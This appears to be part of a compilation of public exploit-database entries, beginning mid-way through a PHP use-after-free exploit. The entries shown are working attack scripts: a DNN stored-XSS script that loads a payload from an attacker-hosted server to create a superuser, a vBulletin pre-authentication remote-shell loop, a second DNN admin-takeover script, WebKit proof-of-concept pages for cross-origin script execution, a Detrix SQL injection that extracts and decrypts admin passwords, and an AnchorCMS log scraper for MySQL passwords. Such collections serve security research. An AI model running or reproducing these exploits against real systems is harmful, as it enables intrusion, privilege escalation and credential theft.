$n_alloc; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = new DateInterval('PT1S'); $room = []; for($i = 0; $i < $n_alloc; $i++) $room[] = new Z(); $_protector = $this->ptr2str(0, 78); $this->abc = $this->ptr2str(0, 79); $p = new DateInterval('PT1S'); unset($y[0]); unset($p); $protector = ".$_protector"; $x = new DateInterval('PT1S'); $x->d = 0x2000; $x->h = 0xdeadbeef; # $this->abc is now of size 0x2000 if($this->str2ptr($this->abc) != 0xdeadbeef) { die('UAF failed.'); } $spl1 = new MySplFixedArray(); $spl2 = new MySplFixedArray(); # some leaks $class_entry = $this->str2ptr($this->abc, 0x120); $handlers = $this->str2ptr($this->abc, 0x128); $php_heap = $this->str2ptr($this->abc, 0x1a8); $abc_addr = $php_heap - 0x218; # create a fake class_entry $fake_obj = $abc_addr; $this->write($this->abc, 0, 2); # type $this->write($this->abc, 0x120, $abc_addr); # fake class_entry # copy some of class_entry definition for($i = 0; $i < 16; $i++) { $this->write($this->abc, 0x10 + $i * 8, $this->leak1($class_entry + 0x10 + $i * 8)); } # fake static members table $fake_tbl_off = 0x70 * 4 - 16; $this->write($this->abc, 0x30, $abc_addr + $fake_tbl_off); $this->write($this->abc, 0x38, $abc_addr + $fake_tbl_off); # fake zval_reference $this->write($this->abc, $fake_tbl_off, $abc_addr + $fake_tbl_off + 0x10); # zval $this->write($this->abc, $fake_tbl_off + 8, 10); # zval type (reference) # look for binary base $binary_leak = $this->leak2($handlers + 0x10); if(!($base = $this->get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } # parse elf header if(!($elf = $this->parse_elf($base))) { die("Couldn't parse ELF"); } # get basic_functions address if(!($basic_funcs = $this->get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } # find system entry if(!($zif_system = $this->get_system($basic_funcs))) { die("Couldn't get zif_system address"); } # copy hashtable offsetGet bucket $fake_bkt_off = 0x70 * 5 - 16; $function_data = $this->str2ptr($this->abc, 0x50); for($i = 0; $i < 4; $i++) { $this->write($this->abc, $fake_bkt_off + $i * 8, $this->leak2($function_data + 0x40 * 4, $i * 8)); } # create a fake bucket $fake_bkt_addr = $abc_addr + $fake_bkt_off; $this->write($this->abc, 0x50, $fake_bkt_addr); for($i = 0; $i < 3; $i++) { $this->write($this->abc, 0x58 + $i * 4, 1, 4); } # copy bucket zval $function_zval = $this->str2ptr($this->abc, $fake_bkt_off); for($i = 0; $i < 12; $i++) { $this->write($this->abc, $fake_bkt_off + 0x70 + $i * 8, $this->leak2($function_zval, $i * 8)); } # pwn $this->write($this->abc, $fake_bkt_off + 0x70 + 0x30, $zif_system); $this->write($this->abc, $fake_bkt_off, $fake_bkt_addr + 0x70); $spl1->offsetGet($cmd); exit(); } } $y = [new Z()]; json_encode([&$y]);
  8. # Exploit Title: Stored Cross-Site Scripting in DotNetNuke (DNN) Version before 9.4.0 # Exploit Description : This exploit will add a superuser to target DNN website. # Exploit Condition : Successful exploitation occurs when an admin user visits a notification page. # Exploit Author: MAYASEVEN # CVE : CVE-2019-12562 (https://www.cvedetails.com/cve/CVE-2019-12562/) # Github : https://github.com/MAYASEVEN/CVE-2019-12562 # Website : https://mayaseven.com import urllib.request from bs4 import BeautifulSoup #################################################################################################### ################################## Config the variables here ####################################### #################################################################################################### TARGET_URL = "http://targetdomain/DotNetNuke" USERNAME = "MAYASEVEN" # At least five characters long PASSWORD = "P@ssw0rd" # At least 0 non-alphanumeric characters, At least 7 characters EMAIL = "[email protected]" # Change email to any you want # A web server for listening an event LISTEN_URL = "http://yourdomain.com:1337" ##################################################################################################### ##################################################################################################### ##################################################################################################### # Payload to add a superuser to website PAYLOAD = "John<script src='"+LISTEN_URL+"/payload.js'></script>" FILE_CONTENT = """var token = document.getElementsByName("__RequestVerificationToken")[0].value; var xhttp = new XMLHttpRequest(); var params = "{'firstName':'"""+USERNAME+"""','lastName':'"""+USERNAME+"""','email':'"""+EMAIL+"""','userName':'"""+USERNAME+"""','password':'"""+PASSWORD+"""','question':'','answer':'','randomPassword':false,'authorize':true,'notify':false}"; xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var returnhttp1 = new XMLHttpRequest(); returnhttp1.open("GET", '"""+LISTEN_URL+"""/Added_the_user'); returnhttp1.send(); var xhttp2 = new XMLHttpRequest(); var userId = JSON.parse(xhttp.responseText).userId; xhttp2.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { var returnhttp2 = new XMLHttpRequest(); returnhttp2.open("GET", '"""+LISTEN_URL+"""/Make_superuser_success'); returnhttp2.send(); } } xhttp2.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/UpdateSuperUserStatus?userId='+userId+'&setSuperUser=true', true); xhttp2.setRequestHeader('Content-type', 'application/json; charset=UTF-8'); xhttp2.setRequestHeader('RequestVerificationToken', token); xhttp2.send(params); } }; xhttp.open('POST', '"""+TARGET_URL+"""/API/PersonaBar/Users/CreateUser', true); xhttp.setRequestHeader('Content-type', 'application/json; charset=UTF-8'); xhttp.setRequestHeader('RequestVerificationToken', token); xhttp.send(params); """ def create_payload(): # Create a payload.js file f = open("payload.js", "w") f.write(FILE_CONTENT) f.close() def check_target(): global regpage reg = urllib.request.urlopen(TARGET_URL+"/Register") regpage = reg.read().decode("utf8") reg.close() if "dnn" in regpage: return True else: return False def exploit(): # Fetching parameter from regpage soup = BeautifulSoup(regpage, 'html.parser') formhtml = soup.find("div", {"id": "dnn_ctr_Register_userForm"}) inputdata = BeautifulSoup(regpage, 'html.parser').findAll("input") param = {} print(" [+] Fetching DNN random parameter name.") for i in soup.select('input[name*="_TextBox"]'): print(" [+]", i["aria-label"],":", i["name"]) param[i["aria-label"]] = i["name"] ScriptManager = "dnn$ctr$Register_UP|dnn$ctr$Register$registerButton" __EVENTVALIDATION = soup.find("input", {"id": "__EVENTVALIDATION"})["value"] __VIEWSTATE = soup.find("input", {"id": "__VIEWSTATE"})["value"] __EVENTTARGET = "dnn$ctr$Register$registerButton" # Posting data to target headers = {'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8'} data = {'ScriptManager': ScriptManager, '__EVENTVALIDATION': __EVENTVALIDATION, '__VIEWSTATE': __VIEWSTATE, '__EVENTTARGET': __EVENTTARGET, param['Username']: "dummy_"+USERNAME, param["Password"]: PASSWORD, param["PasswordConfirm"]: PASSWORD, param["DisplayName"]: PAYLOAD, "dummy_"+param["Email"]: EMAIL, '__ASYNCPOST': 'true'} data = urllib.parse.urlencode(data).encode() req = urllib.request.Request(TARGET_URL+"/Register", data=data, headers=headers) response = urllib.request.urlopen(req) if "An email with your details has been sent to the Site Administrator" in response.read().decode("utf8"): create_payload() return True elif "A user already exists" in response.read().decode("utf8"): print(" [!] The user already exists") return False elif "The Display Name is invalid." in response.read().decode("utf8"): print(" [!] DotNetNuke verion already been patched") else: return False def main(): print("[ Checking the target ]") if(check_target()): print(" [+] Target is DNN website.") print(" [+] URL: %s" % TARGET_URL) else: print(" [!] Target is not DNN website and exploit will not working.") return print("[ Running an exploit ]") if(exploit()): print("[ Successful exploited the target ]") print("> Creating a payload.js file in current directory.") print("> You have to serve the web server and place payload.js on it.") print("> And waiting admin to open a notification then the user will be added.") print("> Username: %s" % USERNAME) print("> Password: %s" % PASSWORD) else: print(" [!] Failed to exploit the target.") return if(__name__ == "__main__"): main()
  9. #!/usr/bin/python # # vBulletin 5.x 0day pre-auth RCE exploit # # This should work on all versions from 5.0.0 till 5.5.4 # # Google Dorks: # - site:*.vbulletin.net # - "Powered by vBulletin Version 5.5.4" import requests import sys if len(sys.argv) != 2: sys.exit("Usage: %s <URL to vBulletin>" % sys.argv[0]) params = {"routestring":"ajax/render/widget_php"} while True: try: cmd = raw_input("vBulletin$ ") params["widgetConfig[code]"] = "echo shell_exec('"+cmd+"'); exit;" r = requests.post(url = sys.argv[1], data = params) if r.status_code == 200: print r.text else: sys.exit("Exploit failed! :(") except KeyboardInterrupt: sys.exit("\nClosing shell...") except Exception, e: sys.exit(str(e))
  10. /* Exploit Title: "Display Name" Stored Unauthenticated XSS in DNN v9.3.2 Date: 4th of July, 2019 Exploit Author: Semen Alexandrovich Lyhin Vendor Homepage: https://www.dnnsoftware.com/ Software Link: https://github.com/dnnsoftware/Dnn.Platform/releases Version: v9.3.2 CVE : CVE-2019-13293 A malicious unauthenticated person can attempt to register a user with the XSS payload in "Display Name" parameter. The administrator of the website will see a notification that a new user needs to be approved. An administrator should click on this notification, and the JavaScript code will be executed in the administrator's browser. This exploit adds the user, and grants him administrator priviliges. A native module "module creator" also allows remote code execution. */ function ApproveNotification(baseurl, id) { return new Promise(function (resolve, reject) { var url = baseurl + "/Activity-Feed/Messages/"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var post_params = "NotificationId=" + id; var x1 = new XMLHttpRequest(); x1.open("POST", baseurl + "/API/InternalServices/NewUserNotificationService/Authorize"); x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8"); x1.setRequestHeader('RequestVerificationToken', token); x1.send(post_params); resolve(); } } xhr.open('GET', url, true); xhr.send(null); }); } function MakeSuperAdmin(baseurl, id) { return new Promise(function (resolve, reject) { var url = baseurl + "/Activity-Feed/Messages/"; var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var post_params = "null" var x1 = new XMLHttpRequest(); x1.open("POST", baseurl + "/API/PersonaBar/Users/UpdateSuperUserStatus?userId=" + id + "&setSuperUser=true"); x1.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8"); x1.setRequestHeader('RequestVerificationToken', token); x1.send(post_params); resolve(); } } xhr.open('GET', url, true); xhr.send(null); }); } function GetNotification(baseurl, username, moduleid, tabid) { return new Promise(function (resolve, reject) { var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/" var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var x1 = new XMLHttpRequest(); x1.open("GET", baseurl + "/API/CoreMessaging/MessagingService/Notifications?afterNotificationId=-1&numberOfRecords=1000&_=1562677665517", true); x1.setRequestHeader('ModuleId', moduleid); x1.setRequestHeader('TabId', tabid); x1.onreadystatechange = () => { if (x1.readyState == 4) { if (!x1.responseType === "text") { data = x1.responseText; } else if (x1.responseType === "document") { data = x1.responseXML; } else { data = x1.response; } //console.log(JSON.parse(data)); data = JSON.parse(data); for (var key in data['Notifications']){ if (data['Notifications'][key]['Body'].includes(username)) { resolve((data['Notifications'][key]['NotificationId'])); }; } reject(); } } x1.send(null); } } xhr.open('GET', url, true); xhr.send(null); }); } function GetUserId(baseurl, username, tabid) { return new Promise(function (resolve, reject) { var url = baseurl +"/dotnetnuke/Activity-Feed/Messages/" var xhr = new XMLHttpRequest(); xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var data; if (!xhr.responseType === "text") { data = xhr.responseText; } else if (xhr.responseType === "document") { data = xhr.responseXML; } else { data = xhr.response; } var parser = new DOMParser(); var resp = parser.parseFromString(data, "text/html"); token = resp.getElementsByName('__RequestVerificationToken')[0].value; //grab first available token var x1 = new XMLHttpRequest(); x1.open("GET", baseurl + "/API/PersonaBar/Users/GetUsers?searchText=" + username + "&filter=0&pageIndex=0&pageSize=10&sortColumn=&sortAscending=false", true); x1.setRequestHeader('TabId', tabid); x1.onreadystatechange = () => { if (x1.readyState == 4) { if (!x1.responseType === "text") { data = x1.responseText; } else if (x1.responseType === "document") { data = x1.responseXML; } else { data = x1.response; } //console.log(data); data = JSON.parse(data); resolve((data['Results'][0]['userId'])); reject(); } } x1.send(null); } } xhr.open('GET', url, true); xhr.send(null); }); } async function main(){ var username = "nobody34567"; var baseurl = "http://192.168.18.10/dotnetnuke/"; var moduleid = "374"; var tabid = "27"; //It's default ID of the module and tab, that should be used to get notification id. We can also parse it from the webpage. var NotificationId = await GetNotification(baseurl, username, moduleid, tabid); await ApproveNotification(baseurl, NotificationId); var UserID = await GetUserId(baseurl, username, tabid); MakeSuperAdmin(baseurl, UserID); } main();
  11. <!-- VULNERABILITY DETAILS ``` static Editor::Command command(Document* document, const String& commandName, bool userInterface = false) { RefPtr<Frame> frame = document->frame(); if (!frame || frame->document() != document) // ***1*** return Editor::Command(); document->updateStyleIfNeeded(); // ***2*** return frame->editor().command(commandName, userInterface ? CommandFromDOMWithUserInterface : CommandFromDOM); } bool Document::execCommand(const String& commandName, bool userInterface, const String& value) { EventQueueScope eventQueueScope; return command(this, commandName, userInterface).execute(value); } ``` This bug is similar to https://bugs.chromium.org/p/project-zero/issues/detail?id=1133. `command` calls `updateStyleIfNeeded`[2], which might trigger JavaScript execution, e.g., via `HTMLObjectElement::updateWidget`. If the JS code triggers a new page load, the editor command will be applied to the wrong page. The method checks that the `document` argument is the document that's currently displayed on the page, but it does so *before* the `updateStyleIfNeeded` call. An attacker can exploit this bug to execute the "InsertHTML" command and run JavaScript in the context of the victim page. VERSION WebKit revision 246194 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE The test case requires the victim page to have a selected element when the load is complete. A common suitable case is when the page contains an autofocused <input> element. ``` <body> <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function waitForLoad() { showModalDialog(createURL(` <script> let it = setInterval(() => { try { opener.w.document.x; } catch (e) { clearInterval(it); window.close(); } }, 100); </scrip` + 't>')); } victim_url = 'https://trac.webkit.org/search'; cache_frame = document.body.appendChild(document.createElement('iframe')); cache_frame.src = victim_url; cache_frame.style.display = 'none'; onclick = () => { w = open(); obj = document.createElement('object'); obj.data = 'about:blank'; obj.addEventListener('load', function() { a = w.document.createElement('a'); a.href = victim_url; a.click(); waitForLoad(); }); w.document.body.appendChild(obj); w.document.execCommand('insertHTML', false, '<iframe onload="alert(document.documentElement.outerHTML)" src="about:blank"></iframe>'); } </script> </body> ``` repro_iframe.html contains a version that uses an <iframe> instead of a new window and works in Safari 12.1.1. CREDIT INFORMATION Sergei Glazunov of Google Project Zero --> <body> <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function waitForLoad() { showModalDialog(createURL(` <script> let it = setInterval(() => { try { opener.w.document.x; } catch (e) { clearInterval(it); window.close(); } }, 100); </scrip` + 't>')); } victim_url = 'data:text/html,<h1>secret data</h1><input autofocus>'; cache_frame = document.body.appendChild(document.createElement('iframe')); cache_frame.src = victim_url; cache_frame.style.display = 'none'; victim_frame = document.body.appendChild(document.createElement('iframe')); victim_frame.style.width = victim_frame.style.height = '100%'; victim_frame.contentDocument.write('<h1>click to start</h1>'); victim_frame.contentWindow.onclick = (() => { obj = document.createElement('object'); obj.data = 'about:blank'; obj.addEventListener('load', function() { a = victim_frame.contentDocument.createElement('a'); a.href = victim_url; a.click(); waitForLoad(); }); victim_frame.contentDocument.body.appendChild(obj); victim_frame.contentDocument.execCommand('insertHTML', false, '<iframe onload="alert(document.firstChild.outerHTML)" src="about:blank"></iframe>'); }); </script> </body>
  12. VULNERABILITY DETAILS ``` void DocumentWriter::replaceDocument(const String& source, Document* ownerDocument) { [...] begin(m_frame->document()->url(), true, ownerDocument); // ***1*** // begin() might fire an unload event, which will result in a situation where no new document has been attached, // and the old document has been detached. Therefore, bail out if no document is attached. if (!m_frame->document()) return; if (!source.isNull()) { if (!m_hasReceivedSomeData) { m_hasReceivedSomeData = true; m_frame->document()->setCompatibilityMode(DocumentCompatibilityMode::NoQuirksMode); } // FIXME: This should call DocumentParser::appendBytes instead of append // to support RawDataDocumentParsers. if (DocumentParser* parser = m_frame->document()->parser()) parser->append(source.impl()); // ***2*** } ``` ``` bool DocumentWriter::begin(const URL& urlReference, bool dispatch, Document* ownerDocument) { [...] bool shouldReuseDefaultView = m_frame->loader().stateMachine().isDisplayingInitialEmptyDocument() && m_frame->document()->isSecureTransitionTo(url); // ***3*** if (shouldReuseDefaultView) document->takeDOMWindowFrom(*m_frame->document()); else document->createDOMWindow(); // Per <http://www.w3.org/TR/upgrade-insecure-requests/>, we need to retain an ongoing set of upgraded // requests in new navigation contexts. Although this information is present when we construct the // Document object, it is discard in the subsequent 'clear' statements below. So, we must capture it // so we can restore it. HashSet<SecurityOriginData> insecureNavigationRequestsToUpgrade; if (auto* existingDocument = m_frame->document()) insecureNavigationRequestsToUpgrade = existingDocument->contentSecurityPolicy()->takeNavigationRequestsToUpgrade(); m_frame->loader().clear(document.ptr(), !shouldReuseDefaultView, !shouldReuseDefaultView); clear(); // m_frame->loader().clear() might fire unload event which could remove the view of the document. // Bail out if document has no view. if (!document->view()) return false; if (!shouldReuseDefaultView) m_frame->script().updatePlatformScriptObjects(); m_frame->loader().setOutgoingReferrer(url); m_frame->setDocument(document.copyRef()); [...] m_frame->loader().didBeginDocument(dispatch); // ***4*** document->implicitOpen(); [...] ``` `DocumentWriter::replaceDocument` is responsible for replacing the currently displayed document with a new one using the result of evaluating a javascript: URI as the document's source. The method calls `DocumentWriter::begin`[1], which might trigger JavaScript execution, and then sends data to the parser of the active document[2]. If an attacker can perform another page load right before returning from `begin` , the method will append an attacker-controlled string to a potentially cross-origin document. Under normal conditions, a javascript: URI load always makes `begin` associate the new document with a new DOMWindow object. However, it's actually possible to meet the requirements of the `shouldReuseDefaultView` check[3]. Firstly, the attacker needs to initialize the <iframe> element's source URI to a sane value before it's inserted into the document. This will set the frame state to `DisplayingInitialEmptyDocumentPostCommit`. Then she has to call `open` on the frame's document right after the insertion to stop the initial load and set the document URL to a value that can pass the `isSecureTransitionTo` check. When the window object is re-used, all event handlers defined for the window remain active. So, for example, when `didBeginDocument`[4] calls `setReadyState` on the new document, it will trigger the window's "readystatechange" handler. Since `NavigationDisabler` is not active at this point, it's possible to perform a synchronous page load using the `showModalDialog` trick. VERSION WebKit revision 246194 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE The attack won't work if the cross-origin document has no active parser by the time `begin` returns. The easiest way to reproduce the bug is to call `document.write` from the victim page when the main parsing task is complete. However, it's a rather artificial construct, so I've also attached another test case, which works for regular pages, but it has to use a python script that emulates a slow web server to run reliably. ``` <body> <h1>Click to start</h1> <script> function createURL(data, type = 'text/html') { return URL.createObjectURL(new Blob([data], {type: type})); } function waitForLoad() { showModalDialog(createURL(` <script> let it = setInterval(() => { try { opener.frame.contentDocument.x; } catch (e) { clearInterval(it); window.close(); } }, 2000); </scrip` + 't>')); } window.onclick = () => { frame = document.createElement('iframe'); frame.src = location; document.body.appendChild(frame); frame.contentDocument.open(); frame.contentDocument.onreadystatechange = () => { frame.contentWindow.addEventListener('readystatechange', () => { a = frame.contentDocument.createElement('a'); a.href = victim_url; a.click(); waitForLoad(); }, {capture: true, once: true}); } frame.src = 'javascript:"<script>alert(document.documentElement.outerHTML)</scr' + 'ipt>"'; } victim_url = 'data:text/html,<script>setTimeout(() => document.write("secret data"), 1000)</scr' + 'ipt>'; ext = document.body.appendChild(document.createElement('iframe')); ext.src = victim_url; </script> </body> ``` CREDIT INFORMATION Sergei Glazunov of Google Project Zero Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47450.zip
  13. <!-- VULNERABILITY DETAILS editing/ReplaceSelectionCommnd.cpp: ``` Ref<HTMLElement> ReplacementFragment::insertFragmentForTestRendering(Node* rootEditableElement) { auto holder = createDefaultParagraphElement(document()); holder->appendChild(*m_fragment); rootEditableElement->appendChild(holder); // ***2*** document().updateLayoutIgnorePendingStylesheets(); return holder; } [...] ReplacementFragment::ReplacementFragment(Document& document, DocumentFragment* fragment, const VisibleSelection& selection) : m_document(&document) , m_fragment(fragment) , m_hasInterchangeNewlineAtStart(false) , m_hasInterchangeNewlineAtEnd(false) { if (!m_fragment) return; if (!m_fragment->firstChild()) return; RefPtr<Element> editableRoot = selection.rootEditableElement(); // ***1*** ASSERT(editableRoot); if (!editableRoot) return; [...] RefPtr<StyledElement> holder = insertFragmentForTestRendering(editableRoot.get()); ``` html/shadow/SliderThumbElement.cpp ``` RefPtr<HTMLInputElement> SliderThumbElement::hostInput() const { // Only HTMLInputElement creates SliderThumbElement instances as its shadow nodes. // So, shadowHost() must be an HTMLInputElement. return downcast<HTMLInputElement>(shadowHost()); // ***3*** } ``` I noticed this behavior when I was debugging the test case for https://bugs.webkit.org/show_bug.cgi?id=199146. When the currently focused element is an <input>, `selection.rootEditableElement()` in [1] might point to a node inside the <input>'s user-agent shadow DOM tree. Then `insertFragmentForTestRendering` is called, which might have side effects, e.g., if the inserted fragment contains an <iframe> element its "onload" handler will be called synchronously, and it's possible to reach the user-agent shadow root object by following the ancestor chain from the <iframe>. When an attacker has access to the shadow root, she can use it to leak other elements that are only intended for internal use and have less strict security checks. For example, `SliderThumbElement` doesn't check that its host element is an <iframe> in [3], so the attacker can turn this bug into a type confusion vulnerability. VERSION WebKit revision 246194 Safari version 12.1.1 (14607.2.6.1.1) REPRODUCTION CASE --> <body> <script> input = document.body.appendChild(document.createElement('input')); input.focus(); handler = event => { shadow_root = event.target.parentNode.parentNode.parentNode; input.type = 'range'; elt = shadow_root.firstChild.firstChild.firstChild; input.remove(); elt.remove(); evt = new MouseEvent('mouseup'); div = document.createElement('div'); new_shadow_root = div.attachShadow({mode: 'open'}); new_shadow_root.appendChild(elt); elt.dispatchEvent(evt); } document.execCommand('insertHTML', false, '<iframe src="about:blank" onload="handler(event)"></iframe>'); </script> </body> <!-- CREDIT INFORMATION Sergei Glazunov of Google Project Zero -->
  14. VULNERABILITY DETAILS ``` void FrameLoader::detachChildren() { [...] SubframeLoadingDisabler subframeLoadingDisabler(m_frame.document()); // ***1*** Vector<Ref<Frame>, 16> childrenToDetach; childrenToDetach.reserveInitialCapacity(m_frame.tree().childCount()); for (Frame* child = m_frame.tree().lastChild(); child; child = child->tree().previousSibling()) childrenToDetach.uncheckedAppend(*child); for (auto& child : childrenToDetach) child->loader().detachFromParent(); } ``` When a cached page is being restored, and the page that's being navigated away is not cacheable, there exists a time frame during which two documents are attached to the same frame. If an attacker finds a way to run JS during this time frame, she will be able to use one of the documents to execute JavaScript in the context of the other one. One possible call stack that might lead to JS execution is: ``` a child frame's unload handler ... ContainerNode::disconnectDescendantFrames() Document::prepareForDestruction() FrameLoader::clear() FrameLoader::open() ``` By the time `FrameLoader::clear` is called, child frames are usually already disconnected from the document via ``` FrameLoader::detachChildren() FrameLoader::setDocumentLoader() FrameLoader::transitionToCommitted() ``` However, the attacker can initiate a new page load inside `detachChildren` to bypass `SubframeLoadingDisabler` and create a new child frame. Note that it won't cancel the cached page load. The attack has a restriction that significantly limits its applicability -- a victim page should load a (potentially sandboxed) <iframe> with attacker-controlled content, so the attacker's JS has a chance to run inside `Document::prepareForDestruction`. This is the case, for example, for online translators. VERSION WebKit revision 246194 It's unclear whether the bug is exploitable in Safari 12.1.1. The repro case seem to have an issue with a nested `showModalDialog` call. REPRODUCTION CASE The test case again relies on `showModalDialog` to perform synchronous page loads. Moreover, the code is wrapped inside a `showModalDialog` call to keep a user gesture token active throughout its execution. CREDIT INFORMATION Sergei Glazunov of Google Project Zero Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47453.zip
  15. # CVE-2019-15943 Counter-Strike Global Offensive (vphysics.dll) before 1.37.1.1 allows remote attackers to achieve code execution or denial of service by creating a gaming server and inviting a victim to this server, because a crafted map using memory corruption. ### Description: We are need modifying class name value in our PoC for triggering this vulnerability, offset for modifying in our PoC is `0x115703`. For example add char `"="` using this offset. PoC is "mc.bsp" ![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/offset.png) For modeling situation for attack we are need next: First step is copy mc.bsp to `C:\Program Files (x86)\Steam\steamapps\common\Counter-Strike Global Offensive\csgo\maps`; Second step is start game with our map (mc.bsp), for this we are need turn on game console and insert in console: `map mc`. ![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/1.png) After this steps we can see next: ![](https://github.com/bi7s/CVE/blob/master/CVE-2019-15943/img/windbg.png) I was use msec.dll (!exploitable) is a Windows debugging extension (Windbg) that provides automated crash analysis and security risk assessment [Download msec.dll](https://archive.codeplex.com/?p=msecdbg) As you can see msec.dll checked this crash and decide that is EXPLOITABLE crash, because SEH chain is corrupted. It is means that attacker can use this vulnerability for remote code execution. EDB Note: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47454.bsp
  16. #!/usr/bin/php /* # Exploit Title: Detrix EDMS cleartext user password remote SQLI exploit # Google Dork: # Date: Jul 2019 # Exploit Author: Burov Konstantin # Vendor Homepage: forum.detrix.kz # Software Link: https://www.documentov.com/index.php?route=document/search&search=1.2.3.1505.zip&page=1&limit=20&document_uid=3d7bae5a-c2e5-11e8-9ed8-b7ed7eb0f5bb # Version: any # Tested on: Detrix 1.2.3.1505 */ <?php /*---------------------------CHANGE-ME--------------------------------*/ $URL = "http://192.168.56.6"; // Set URL for the target host $user_id = 0; // 0 - Default admin ID /*--------------------------------------------------------------------*/ $banner = "Exploiting SQLi vuln and password decrypting for Detrix\n". "http://forum.detrix.kz\nhttps://github.com/sadshade/Detrix-Passwords-PoC \n". "[email protected], 2019.\n\n"; // SQLi request $sql_req = "login' AND 99=CAST('a__'||(SELECT COALESCE(CAST(password AS ". "CHARACTER(10000)),(CHR(32))) FROM manuscript.ref_system_users OR". "DER BY id OFFSET " . $user_id . " LIMIT 1)::text||'__a' ". "AS NUMERIC) AND 'a'='a"; $data = array('password' => 'pass', 'login' => $sql_req); $options = array( 'http' => array( 'header' => "Content-type: application/x-www-form-urlencoded\r\n", 'method' => 'POST', 'content' => http_build_query($data) ) ); // Key from %detrix%/system/utils/MSF_string.php $sSuperDuperSecretKey = "!-eeflslskdjfla;456864~}{fjkdlswkfkll@#$%#$9f0sf8a723#@"; echo $banner; try { $context = stream_context_create($options); echo "Send SQLi to $URL...\n"; $result = file_get_contents($URL, false, $context); } catch (Exception $e) { echo 'Error: ', $e->getMessage(), "\n"; } if ($result != "") { if (preg_match("/\"a__(.+)__a\"/", $result, $encrypted_pass) == 1) { $clear_pass = trim( openssl_decrypt(base64_decode($encrypted_pass[1]), "BF-ECB", $sSuperDuperSecretKey, OPENSSL_RAW_DATA | OPENSSL_ZERO_PADDING) ); // Decrypt pass echo "Pass for User id $user_id: $clear_pass \n"; } else echo "Error: no such User id:$user_id or empty password!\n"; } else echo "Error: empty Response or error!\n" ?>
  17. # Exploit Title: Information disclosure (MySQL password) in error log # Date: 2/10/2019 # Exploit Author: Tijme Gommers (https://twitter.com/finnwea/) # Vendor Homepage: https://anchorcms.com/ # Software Link: https://github.com/anchorcms/anchor-cms/releases # Version: 0.12.3a # Tested on: Linux # CVE : CVE-2018-7251 # By default, AnchorCMS will log errors to the "/anchor/errors.log" file in the webroot of the web application. This allows malicious users to access the error log and view potentally sensitive information. Sometimes the AnchorCMS error log contains ocurrences of the MySQL error "Can't connect to MySQL server on 'xxx.xxx.xxx.xxx' (111)". When this error occurs the variables of the MySQL connector class are serialized into a JSON object and logged to the error log. import re import sys import importlib def get_plain(url): try: plain_result = requests.get(url=url) return plain_result except: return None def print_usage(): print('Usage: {0} <url>'.format(__file__)) if __name__ == '__main__': # Ensure we have the URL if len(sys.argv) != 2: print_usage() sys.exit(1) print("* Using AnchorCMS website: " + sys.argv[1]) print("* Trying to import 'requests' module") requests_loader = importlib.util.find_spec('requests') requests_module_found = requests_loader is not None if requests_module_found: import requests else: print("* 'requests' module not found, please install it using pip") print("* pip install requests") sys.exit(1) json_url = sys.argv[1].strip("/") + "/anchor/errors.log" print("* Trying to get errors.log file at: {}".format(json_url)) plain_result = get_plain(json_url) if plain_result == None: print("* URL could not be requested, errors.log is probably not exposed") sys.exit(1) print("* Found data {}, trying to parse it now".format(plain_result)) lines = re.findall(r'"line":\d', plain_result.text) print("* Found {} error entries".format(len(lines))) passwords = re.findall(r'\[([^\[\]]*)"password"([^\[\]]*)\]', plain_result.text) print("* Found {} passwords entries".format(len(passwords))) for password in passwords: print("+ {}".format(password))
